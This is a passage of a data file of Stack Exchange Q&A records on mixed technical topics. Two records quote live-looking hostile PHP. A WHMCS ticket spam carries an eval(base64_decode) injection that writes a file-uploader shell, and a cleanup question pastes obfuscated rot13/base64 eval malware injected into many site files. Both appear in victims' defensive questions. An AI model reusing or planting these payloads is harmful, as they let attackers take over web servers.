= deriveMap.keySet().stream()            .filter(key -> key.isAssignableFrom(currentNode.getData().getClass()))            .findFirst();    if (optionalKey.isPresent()) {        final Class<?> key = optionalKey.get();        dxNode = deriveMap.get(key).apply(currentNode);    }    if (dxNode != null && parentNode != null)        dxNode.setParent(parentNode);    return dxNode;}"  } 
{  "id": "_webmaster.26523"  , "question": "I have WHMCS and I use it with no problem for my hosting purposes.Almost every 2 or 3 days, I can see a spam with malicious content submitted as a new ticket that tries to hack.The last one was:Subject:{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})Message:{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})What are these attacks? Why don't they use any other way to attack?!!!In my opinion it is obvious that a system like WHMCS will never be hacked by such a poor attempts. They should have of course used some functions like strip_tags and mysql_real_escape_string and other security functions.Would any body explain why do they always select such a poor way to attack? Don't they really know that WHMCS is stronger than these low level hacks?In fact I'd like to know that: Do these efforts differ from each other? Can they be serious? Should I be scared of these attempts?"  , "title": "Should WHMCS hacking attemps that never succeed be important to me?"  , "tags": "php;server;security;hacking"  , "accepted_answer": "It's a robot scanning the web for WHMCS installs that are vulnerable to this attack, it's just part and parcel of running a website."  } 
{  "id": "_unix.322912"  , "question": "I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace. Here's a sample of the pattern:<div class=fusion-header-sticky-height></div><div class=fusion-header>        <div class=fusion-row>                <?php avada_logo(); ?>                <?php avada_main_menu(); ?>        </div></div><?php//###=CACHE START=###@error_reporting(E_ALL);@ini_set(error_log,NULL);@ini_set(log_errors,0);@ini_set(display_errors, 0);@error_reporting(0);$wa = ASSERT_WARNING;@assert_options(ASSERT_ACTIVE, 1);@assert_options($wa, 0);@assert_options(ASSERT_QUIET_EVAL, 1);$strings = as; $strings .= se;  $strings .= rt; $strings2 = st; $strings2 .= r_r;  $strings2 .= ot13; $gbz = riny(.$strings2(base64_decode);$light =  $strings2($gbz.'(nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD==));'); $strings($light);//###=CACHE END=###?>I've tried various methods to find and replace this string but its multiline nature has got me stumped. I've looked around extensively (over a day of searching) and the solutions I've found can't handle the multi-line nature of this.Any assistance would be most welcome.UPDATEI've got a solution now, largely thanks to the accepted answer. Others facing something similar should look at my github project for this."  , "title": "Global multiline search & replace"  , "tags": "sed;grep;filesystems;php;malware"  , "accepted_answer": "If you want to edit text defined by a context-free language (nested matching begin and end tags, e.g. HTML or XML), you should use a tool made for that instead of a tool for regular expressions. Such a tool is for example sgrep (available as a package for many linux distros): You can match (nested) regions defined by beginning and ending tags, and manipulate them. So for examplesgrep -o '%r\\n' '(start .. end) extracting (<?php..?> containing ###=CACHE START=###)'will remove any region starting with <?php and ending with ?> that contains ###=CACHE START=### from your file, by printing all other regions separated by a newline. Newlines and white space are not considered relevant for matching, so multiline matches are for free."  } 
{  "id": "_cs.31998"  , "question": "I am doing an exercise from a Big Data course I'm taking on Coursera (this exercise is for experimenting with a big-data problem and is not for any credit or homework) , the assignment was described briefly:Your task is to quickly find the number of pairs of sentences that are at the word-level edit distance at most 1. Two sentences S1 and S2 they are at edit distance 1 if S1 can be transformed to S2 by: adding, removing or substituting a single word.I am then given a large txt file that contains about $10^6$ sentences.The way I tried to attack this problem:Observation $1$: If the length of two sentences is greater then $1$ then they are not at an edit distance $1$.Observation $2$: Let $A_1,...,A_5$ be five consecutive words from a sentences and let $B_1,...,B_5$ be another five consecutive words chosen from different indexes (that is if we label the words of a sentence then $B_i$ and $A_j$ does not share an index.Five is a small arbitrary number I choseI used something like a curried syntax to get a hashtable that keeps a 3-touple: $(X,Y,Z)$Where I mapped each sentence as follows:$X$ is the number of words the sentence have.$Y$ is obtained by a hash function on the content of the words (I will soon describe this hash function)$Z$ is a list of integers containing the index of the line in the document [the line number] that was mapped to $(X,Y)$In C# this corresponds to an object of a type Dictionary< int, Dictionary< int, List< int>>>So I kept two Hashtables of the above form, where I took the first five words to hash and get $Y$ and words $6-10$ to hash and get another value of $Y$.Then given a sentence - compute the two $Y$ values it would of gotten and look at buckets with length that differs at at most $1$ from this sentence length and share one $Y$ value this sentence.Let me describe the hashing function I used to get $Y$ -I took the $A_i$ (similarly with the $B_i$) and concatenated them I looked at this string as a byte array (that is by the bits that takes to represent the numbers) I then applied a the SHA-1 hash function on it (there are no security reasons for this but I wanted something that hashes well) I took the last $4$ bytes in the SHA-1 hash and I looked at it as a positive integer (by looking at the last $32$ bits and considering it as an integer then applying the absolute value function). Call this result $R$$Y= R\\%p^{2}$where $p$ was chosen as follows: I counted how many lines of a given length $l$ appear (say $n_l$), for lines of length $l$ I chose $p$ s.t $$\\frac{n_l}{p^2}\\leq 3$$ the following is a Histogram showing $n_l$ as a function of $l$which should give some indication of the values chosen for $p$.However - There are too many collisions - I get about $6$ elements in each bucket.I took one example of such a bucket and I printed those sentences (I hoped they are similar so they would have a good reason to be mapped to the same bucket) by they are very different from one another. This is a printscreen of those sentences printed to the console.Question: Why do I get a large number of collisions ?($6$ in average on $10^5$ buckets I considered where if I had even distribution I would expect $3$ from the choice of $p$, some buckets have a few tens of elements in them) Could the problem be that I used modulo a square of a prime and not a prime ? is it that significant?"  , "title": "Hashing by doing modulo $m$ for $m=p^2$ for a prime $p$ instead of using a prime $m$ - is it that bad?"  , "tags": "hash;big data"  } 
{  "id": "_softwareengineering.318730"  , "question": "I have a couple of simple classes that implement the Null Object pattern.To illustrate the hierarchy, let's define a Config interface with two classes implementing it ConfigItem and MissingConfig, each defined in its own file.// Config.javapublic interface Config {    Something process();}// ConfigItem .javapublic class ConfigItem implements Config {    // some fields    @Override    public Something process() {       // some actual logic and return statement    }}// MissingConfig.javapublic enum MissingConfig implements Config {   INSTANCE;    @Override    public Something process() {        // do no harm    }}In my case, the MissingConfig object is immutable and only a single instance is guaranteed to exist.This works fine and allows me to avoid null-checks. However, the fact that this implementation of the Config interface exists can be missed by other developers working with the code.I'm trying to find a way to make the reusable null-representation of the Config easy to find.It occurred to me that I could expose it using the interface itself:public interface Config {    Something process();    MISSING = MissingConfig.INSTANCE;}so that it would auto-complete for everyone trying to do something with ConfigThis, however, in a way, introduces a constant in the interface, which is advised against in Joshua Bloch's Effective Java (Chapter 4, item 19)Another way to structure the code that occurred to me is to define the enum inside the interface.public interface Config {    Something process();    public enum Missing implements Config {        INSTANCE;        @Override        public Something process() {            // do no harm        }    }}This looks almost as readable when consumedConfig.Missing.INSTANCEbut not as nice as the previous version... and technically, this is still a constant defined inside an interface. Just a bit more convoluted.Is there any way I can make the consumption of the null-object blatantly obvious without violating the good practices of interface design... or am I trying to have my cake and eat it too?I'm beginning to think my original implementation (with the enum defined in its own file) is the most elegant one and that the discoverability should be achieved by an explicit mention of it in the Javadoc. As much as I'd love to, I can't protect myself against people who don't read javadocs.I have also thought about switching from an interface to an abstract class but that limits reuse in ways I cannot accept due to single inheritance (some existing code that has to do with the Config)Hope this isn't too open-ended for Programmers"  , "title": "Discoverable default implementation of an interface"  , "tags": "java;interfaces"  , "accepted_answer": "There is a sentence in the chapter you referenced (Joshua Bloch's Effective Java (Chapter 4, item 19)):If  the constants are strongly tied to an existing class or interface,  you should add them to the class or interface.and you could rewrite your examples to:public interface Config {  Config EMPTY = new Config() {    @Override    public void doSomething() {      // empty for missing config    }  };  void doSomething();}but some JAVADOC could be helpful for your colleagues."  } 
{  "id": "_softwareengineering.355376"  , "question": "Suppose I am writing a C++ library that I intend to distribute in binary form, with interfaces from other languages (e.g. Python). The 'easy' approach of just compiling the library and distributing the DLL or Framework does not work well.For it to work you need to compile the library with every supported compiler and every supported compiler option, and bad things can happen if you don't.The problem is because C++'s ABI is in general not stable, and the ABI of the STL is definitely not stable. A sort of solution is to stick to 'simple' C++ in your public API - simple classes with basic types. The problem with that is you don't get to use the STL's nice types like std::string and `std::vector and end up reimplementing them.So I'm wondering if there is a better solution using a library Interface Definition Language (IDL). There are loads of these for network protocols, like Thrift, Protobuf, gRPC, CapnProto, etc. Is there one for libraries?The ideal solution would then take this IDL file, generate a C->C++ wrapper around the C++ library, so that its ABI is now the C ABI. It could then also generate open source wrappers around the C library for whatever language you wanted (including C++).I know it is kind of insane to wrap C++ with a C API and then wrap that with a C++ API. But I can't see a better way.Does this exist? Is it insane? Is there a better way?"  , "title": "Is there an interface definition language for software libraries?"  , "tags": "c++;libraries;abi"  } 
{  "id": "_webmaster.61101"  , "question": "Google webmaster tools is showing keywords such as cookies in my keyword list. This is probably because we have links to our long legal disclaimer on cookies.We're a B2B service, so clearly I don't want my site to rank for cookies. What's the best practice to deal with this? Should I remove the domain.com/cookies subdir from google webmaster tools?"  , "title": "How to deal with non-relevant keywords in Google Webmaster Tools"  , "tags": "seo;google search console;keywords;googlebot"  } 
{  "id": "_webmaster.17980"  , "question": "I run a forum which serves its pages as XHTML+MathML+SVG; in full:<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd>Using the MathPlayer plugin, Internet Explorer users can use this site.  However, sometimes someone is using the forum from IE and isn't able to install MathPlayer (maybe they're on a public machine somewhere).  Then IE (at least 6&7) complains about the XHTML and offers just to download the file.I read on the w3c site how to get around this using an XSL transformation (http://www.w3.org/MarkUp/2004/xhtml-faq#ie).  When I put this in place, I found that Chrome was now complaining vociferously about undefined entities (the specific one was &nbsp; but testing shows that that's not relevant).Bizarrely, I can get round this by manually declaring the entities in the DOCTYPE:<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd [<!ENTITY nbsp &#160;>]>but I'd rather not do this for the whole gamut of entities possible.  I say bizarrely because the XHTML+MathML+SVG dtd does, as far as I can see, declare these entities.  So somehow these are getting missed out.Is there a way around this problem?  Can I serve XHTML-with-entities to IE?In case it matters, the pages are generated by a php script and are served via apache, so if there's a reliable method of sniffing the browser and modifying the start of the document (so only sending the <?xml-stylesheet ...> bit to IE) then that would be an acceptable alternative.(I hope I have the right SE site ... please let me know if I'm in the wrong place.  Ditto with the tags.)"  , "title": "How do I serve XHTML to Internet Explorer without breaking Chrome?"  , "tags": "internet explorer;xhtml"  } 
{  "id": "_unix.114264"  , "question": "In linux cli I can do ctrl-r and do a reverse search and choose something I have done easily.Is there something similar in vim? I mean I may run a command using : (could be anything like a long substitution) and if I need to do it again I need to retype it.Is there a way to avoid retyping but instead somehow search back and execute it?"  , "title": "Is there a command reverse search in vim?"  , "tags": "vim;search"  , "accepted_answer": "You may find q: useful. It opens the command-line window. The command-line window looks like this:I tried to make an animation of its usage:Also see c_CTRL-F, which opens the command-line window from command mode.You can also re-run the last command from normal mode by typing @:. "  } 
{  "id": "_cs.65953"  , "question": "I came across following excerpts while reading about regular expressions identities:The regex associative laws are:  $$(L+M)+N=L+(M+N)$$  $$(LM)N=L(MN)$$  Some important implications out of associative laws are:  $$r(sr)^*=(rs)^*r$$  $$(rs+r)^*r=r(sr+r)^*$$  $$s(rs+s)^*r=(sr+s)^*sr$$  $$(LM)^*N*\\neq L*(MN)*$$The issue is that I don't find the implications much intuitive as the identities themselves are. How can I understand the implications intuitively? I can always form a strings belonging to left hand side regex and check whether it can be accepted by other regex. The first implication is very simple to test this way. However how can I make them more intuitive??Are these implications simply made up expressions which are tested rigorously to hold true and they don't have any specific expression as we can form many such expressions?I am unable to get the point behind stating these implications. I dont think of any problem in which I can use these regexes straight / immediately. It may be because I am not able to get intuition behind these implications so that it may strike in my head immediately when to use these implications."  , "title": "Meaning / proof of these regex"  , "tags": "regular expressions"  , "accepted_answer": "For all three of your statements, the answer is that, generally speaking, the implications simply aren't as intuitive as, say, the associative laws. Look at the analogous problem with algebraic expressions: we have associative laws for addition and multiplication and we also have a distributive law that states that for any expressions $p,q,r$ we have $$p\\cdot(q+r)=(p\\cdot q)+(p\\cdot r)$$Eventually, these rules should be intuitively obvious. However, one implication of these rules, that $$(p+q)^3=p^3+3p^2q+3pq^2+q^3$$is probably not as intuitively obvious as the rules used to derive that identity. The utility of the result above is that it can be used as a tool to simplify other more complicated problems.It's the same for regular expressions: the fact that, say, $r(sr)^*=(rs)^*r$, is correct can be proven rigorously, but having done that you can use it as a tool to show that $$aa+(aab)^*aa=aa+aa(baa)^*=aa(\\epsilon+(baa)^*)$$should you ever need to. For example, there is a handy technique, involving what's known as Arden's lemma that can be used to produce a regular expression describing the language accepted by a finite automaton. Depending on how it's applied, this can produce several regular expressions from the same FA, so it might fall to you to show that the expressions are indeed equivalent, in which case the implications you listed might be handy.The upshot (here's the tl;dr part), is that the implications you mentioned are simply tools you can use when needed: they've beed proven to hold, but there's no reason why they should be intuitively obvious.  "  } 
{  "id": "_unix.175289"  , "question": "I want to install windows 10 64 bit but the my current verson of windows is 32 bit so it is unable to run the setup.exe file so booted into ubuntu 14.10 64 bit and installed qemu to use my current harddisk as virtual harddisk and the iso cdrom. This is the command I usesudo qemu-system-x86_64 -cpu qemu64 -vga std -cdrom file=~/WindowsTechnicalPreview-x64-EN-US.iso -boot d -drive /dev/sda1But this gives me errorqemu-system-x86_64: -cdrom file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso: could not open disk image file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso: Could not open 'file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso': No such file or directoryBut I have checked the file exists"  , "title": "Geting error in qemu No such file or directory"  , "tags": "qemu"  , "accepted_answer": "-cdrom SOMEFILE is a shortcut for -drive index=2,media=cdrom,file=SOMEFILE. Either use the verbose -drive option or the -cdrom shortcut, don't mix them up. You've told Qemu to open a file called file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso', and this file doesn't exist."  } 
{  "id": "_webapps.91905"  , "question": "How do I import saved images from http://www.google.com/save/ into Google Photos without downloading them?(From Linux.)Similar to, but different from:How to download all Google Search images resultsexample:"  , "title": "export saved Google images into Google photos"  , "tags": "images;google photos;online storage;google image search;cloud"  } 
{  "id": "_unix.174323"  , "question": "I have a Ubuntu machine. I am connected to it remotely and getting the following errer:mkdir: cannot create directory `/testFolder': Read-only file systemLIKE WINDOWS, REBOOTING the machine solved this error.Can someone explain this behaviour to me. I am bit surprised."  , "title": "Read-only file system error while accessing the files on Ubuntu"  , "tags": "ubuntu;filesystems;readonly"  } 
{  "id": "_unix.315239"  , "question": "I have a string like  $number=1234567;and i want to extract substring out of it , but i am not getting proper results with substr function.If i execute substr $number ,0,1 ;i get 1 as output but it should be 12."  , "title": "best way to find substring of integer number in perl"  , "tags": "perl;string"  , "accepted_answer": "To get 12, you need:substr $number, 0, 2The syntax for substr is:substr $var, OFFSET, LENGTHSo when you do:substr $number ,0,1the OFFSET will be 0 and LENGTH will be 1.perl is zero-indexed i.e. the indexing starts at 0, and the length of the substring you have picked is 1, so you would only get 1 in the output expectedly."  } 
{  "id": "_unix.227098"  , "question": "I've been writing a Linux device driver for some measurement devices I'm attaching to my Raspberry Pi.  I've created my kernel module and an application to access the character device driver, but the device needs to be calibrated regularly and I need to store the calibration data somewhere.  Where is that data usually stored?  My best guess is /etc, but I'd like to hear from someone who knows more about this than I do. "  , "title": "Where to store calibration files for a custom Linux device driver"  , "tags": "drivers;directory structure"  , "accepted_answer": "Per the Filesystem Hierarchy Standard, /var/lib/ might be the right place:This hierarchy holds state information pertaining to an application or  the system. State information is data that programs modify while they  run, and that pertains to one specific host. Users must never need to  modify files in /var/lib to configure a package's operation.State information is generally used to preserve the condition of an  application (or a group of inter-related applications) between  invocations and between different instances of the same application.  State information should generally remain valid after a reboot, should  not be logging output, and should not be spooled data./etc isn't right for calibration data, since /etc should be able to be mounted read-only."  } 
{  "id": "_softwareengineering.34463"  , "question": "So I'm not doing any unit testing. But I've had an idea to make it more appropriate for my field of use. Yet it's not clear if something like this exists, and if, how it would possibly be called.Ordinary unit tests combine the test logic and the expected outcome. In essence the testing framework only checks for booleans (did this match, did the expected result result). To generalize, the test code itself references the audited functions, and also explicites the result values like so:unit::assert(  test_me() == 17  )What I'm looking for is a separation of concerns. The test itself should only contain the tested logic. The outcome and result data should be handled by the unit testing or assertion framework. As example:unit::probe(   test_me()   )Here the probe actually doubles as collector in the first run, and afterwards as verification method. The expected 17 is not mentioned in the test code, but stored or managed elsewhere.How is this scheme called? Or how would you call it? I hope I can find some actual implementations with the proper terminology.Obviously such a pattern is unfit for TDD. It's strictly for regression testing. Also obviously, it cannot be used for all cases. Only the simpler test subjects can be analyzed that way, for anything else the ordinary unit test setup and assertion steps are required. And yes, this could be manually accomplished by crafting a ResultWhateverObject, but that would still require hardwiring that to the test logic.Also keep in mind that I'm inquiring for use with scripting languages, and not about Java. I'm aware that the xUnit pattern originates there, and why it's hence as elaborate as it is.Btw, I've discovered one test execution framework which allows for shortening simple test notations to:test_me();   // 17While thus the result data is no longer coded in (it's a comment), that's still not a complete separation and of course would work only for scalar results."  , "title": "Term for unit testing that separates test logic from test result data"  , "tags": "unit testing"  , "accepted_answer": "There is such a thing as data-driven tests. These aren't the same thing you are asking for, but they may help with some of what you want.Basically, the idea is that we define data structures and perform tests based on them.An example:translations = {    1 : 'I',    2 : 'II',    4 : 'IV',    125 : 'CXXV'}def test_roman():    for number, roman in translations.items():        assert to_roman(number) == roman        assert from_roman(roman) == numberThis makes it much easier to add additional test cases. In frameworks with support for it it can easily be made so that this would actually get recorded as many tests. I'm not sure what exactly you are attempted to get from your technique. You have to deal with all the setup of unit tests but skipping over what would seem to be a relatively minor part: specifying the output. It seems such a small savings and would only rarely be useful.  "  } 
{  "id": "_webmaster.27647"  , "question": "Not a major problem, but I would like to understand more about how some websites can serve different pages to a navigating user, such that the browser doesn't visibly pass through a blank white page. Whereas some sites cause the browser to display the white page for up to a few seconds.I can imagine this is partly due to network latency, but are there any other factors? Can I cause the background image / color not to flash white?"  , "title": "Avoiding background and main menu reloads (white flash) when users navigate my site?"  , "tags": "html"  , "accepted_answer": "The 'White Flash' your referring to is the browser drawing the webpage. There was a great question about how to track how long it takes different browsers to draw your website (latency aside).Another good question to refer to is how to speed up your site through various tools and techniques.But what I think you're looking for is AJAX. Asyncronous JavaScript And XML; this will allow you to reload page content without reloading the page, thereby completely avoiding the 'White Flash.'EDIT: I just realized a technique that you could use that is extremely simple. You could use iframes! I didn't think of it because it's kind of an outdated technique. I haven't used it since high school, but using iframes you should be able to get the desired results."  } 
{  "id": "_unix.339148"  , "question": "I recently installed Kali Linux to enable me to dual boot between Kali and Windows 7. I had to install Kali in UEFI mode, because that was the only thing that worked. Windows 7 however, is not installed in UEFI mode. Because of this I can't boot Windows from the UEFI GRUB loader. To fix this I installed rEFInd as suggested by this answer. My problem is that rEFInd does not detect my windows loader on /dev/sda1. I have uncommented the scanfor line in refind.conf and added hdbios as one of the options without any success. I also uncommented uefi_deep_legacy_scan although that shouldn't be necessary since everything is on the same disk (only different partitions). I have also tried manually adding the Windows loader to the list, but it doesn't even appear as an option when I boot (I probably did not add it correctly).Is there anything I can do to fix this? Does anyone know how I manually can add it to the list? Or is my Windows loader broken? If so, what can I do then? (I don't have any installation CD or anything like that for Windows)"  , "title": "rEFInd does not find Windows 7"  , "tags": "kali linux;grub2;refind"  } 
{  "id": "_unix.368118"  , "question": "I have an SD card in my raspberry PI, on which I pulled the power. Now, I cannot boot from it, or even read it from my (Fedora) laptop. When running fsck I get this error: [bf@localhost ~]$ sudo fsck -V /dev/mmcblk0p2fsck from util-linux 2.28.2[/sbin/fsck.ext4 (1) -- /dev/mmcblk0p2] fsck.ext4 /dev/mmcblk0p2 e2fsck 1.43.3 (04-Sep-2016)/dev/mmcblk0p2 has unsupported feature(s): FEATURE_I17e2fsck: Get a newer version of e2fsck!It somehow sees some unsupported feature that blocks any usage of the card. Any other fs tool (tunefs, debugfs) come with the same error."  , "title": "Cannot mount SD card after hard shutdown"  , "tags": "ext4;fsck;sd card"  } 
{  "id": "_unix.192228"  , "question": "I have a network topology where in Dell PE860 runs a Linux virtual-switch br0:Now if I send an Ethernet frame to broadcast address from IBM ThinkCentre:17:10:23.569021 00:a1:ff:01:02:05 > ff:ff:ff:ff:ff:ff, ethertype IPv4 (0x0800), length 34: 127.0.0.1 > 127.0.0.1:  ip-proto-0 0..then I see this frame in both virtual-machines as I should. If I send an Ethernet frame to MAC address which is not know in br0 MAC address table, then the br0 also behaves correctly and floods the frame to all ports expect to one where the frame came in(eth1 in this example). However, if I send a multicast frame from IBM ThinkCentre:17:17:05.513283 00:a1:ff:01:02:05 > 01:33:44:55:66:77, ethertype IPv4 (0x0800), length 34: 127.0.0.1 > 127.0.0.1:  ip-proto-0 0..then for some reason Linux virtual-switch does not flood it to all the ports(except the one where the frame came in from). Why is that so? I would expect that switch handles multicast frames exactly like broadcast frames."  , "title": "multicast frames in Linux virtual-switch"  , "tags": "linux;bridge"  } 
{  "id": "_codereview.155840"  , "question": "I am wondering if I could implement this in a cleaner, more elegant, strictly functional way:const convert2dArrayToJsonList = (array) => {    if (!is2dArrayParsableToJsonList(array)) {        throw new Error(The 2D array cannot be converted to a json list + array);    }    const propertyKeys = array[0];    return array        .slice(1)        .map( row => {            return row.reduce( (accumulatedElement, propertyValue, currentIndex, array) => {                accumulatedElement[propertyKeys[currentIndex]] = propertyValue;                return accumulatedElement;            }, {});        });}The implementation of is2dArrayParsableToJsonList(array) is not relevant in this context, it does what it says.The 2D array parameter has the property keys in the top row and all other rows represent individual elements in the list."  , "title": "Converting a 2D array to a JSON list"  , "tags": "javascript;array;functional programming"  } 
{  "id": "_unix.125264"  , "question": "I want to configure my system so that tap-to-click is disabled on the touchpad. (It's running a rather old version of ALTLinux distro with xorg-server-1.4.2-alt10.M41.1.)I'm interested in a solution without running synclient in each X session.Probably, my X server is too old so that it doesn't understand InputClass sections in xorg.conf, as suggested in another answer by Vincent Nivoliers:Section InputClass    Identifier touchpad catchall    Driver synaptics    MatchIsTouchpad on    MatchDevicePath /dev/input/event*    Option MaxTapTime             0EndSectionThe I get an error; from Xorg.*.log:(==) Using config file: /etc/X11/xorg.confParse error on line 71 of section InputClass in file /etc/X11/xorg.conf    InputClass is not a valid section name.(EE) Problem parsing the config file(EE) Error parsing the config fileAlso, my xorg.conf doesn't have any explicit InputDevice sections (with a comment: With libXiconfig we don't need configuration for ps and usb mice.).How do I put the MaxTapTime option into my xorg.conf so that the configuration of my input devices (including the touchpad) is not broken? (If I write explicit InputDevice sections, I might break the correct configuration obtained automatically..)Perhaps, the output of xinput list can be of some use. I do not want to make the question too specific by posting my xinput list and asking what to do in this specific case. Let it be just an example:$ xinput listVirtual core keyboard id=0    [XKeyboard]    Num_keys is 248    Min_keycode is 8    Max_keycode is 255Virtual core pointer  id=1    [XPointer]    Num_buttons is 32    Num_axes is 2    Mode is Relative    Motion_buffer is 256    Axis 0 :        Min_value is 0        Max_value is -1        Resolution is 0    Axis 1 :        Min_value is 0        Max_value is -1        Resolution is 0AT Translated Set 2 keyboard  id=4    [XExtensionKeyboard]    Type is KEYBOARD    Num_keys is 248    Min_keycode is 8    Max_keycode is 255PS/2 Mouse    id=3    [XExtensionPointer]    Type is MOUSE    Num_buttons is 32    Num_axes is 2    Mode is Relative    Motion_buffer is 256    Axis 0 :        Min_value is -1        Max_value is -1        Resolution is 1    Axis 1 :        Min_value is -1        Max_value is -1        Resolution is 1AlpsPS/2 ALPS GlidePoint  id=2    [XExtensionPointer]    Type is TOUCHPAD    Num_buttons is 12    Num_axes is 2    Mode is Relative    Motion_buffer is 256    Axis 0 :        Min_value is 0        Max_value is -1        Resolution is 1    Axis 1 :        Min_value is 0        Max_value is -1        Resolution is 1$ I expect the answer to give some general advice, not specific for this case."  , "title": "Can one disable tap-to-click in X server configuration without InputClass sections?"  , "tags": "xorg;touchpad;x server;xinput;altlinux"  , "accepted_answer": "Besides InputClass there also exists a section called InputDevice which takes nearly the exact same options as InputClass.  Of course you cannot use the Match* operators but have to give the device's path explicitly:Section InputDevice    Identifier touchpad    Driver synaptics   Option Device /dev/input/event<X>    Option MaxTapTime             0EndSectionYou'll just have to replace <X> with the appropriate device number."  } 
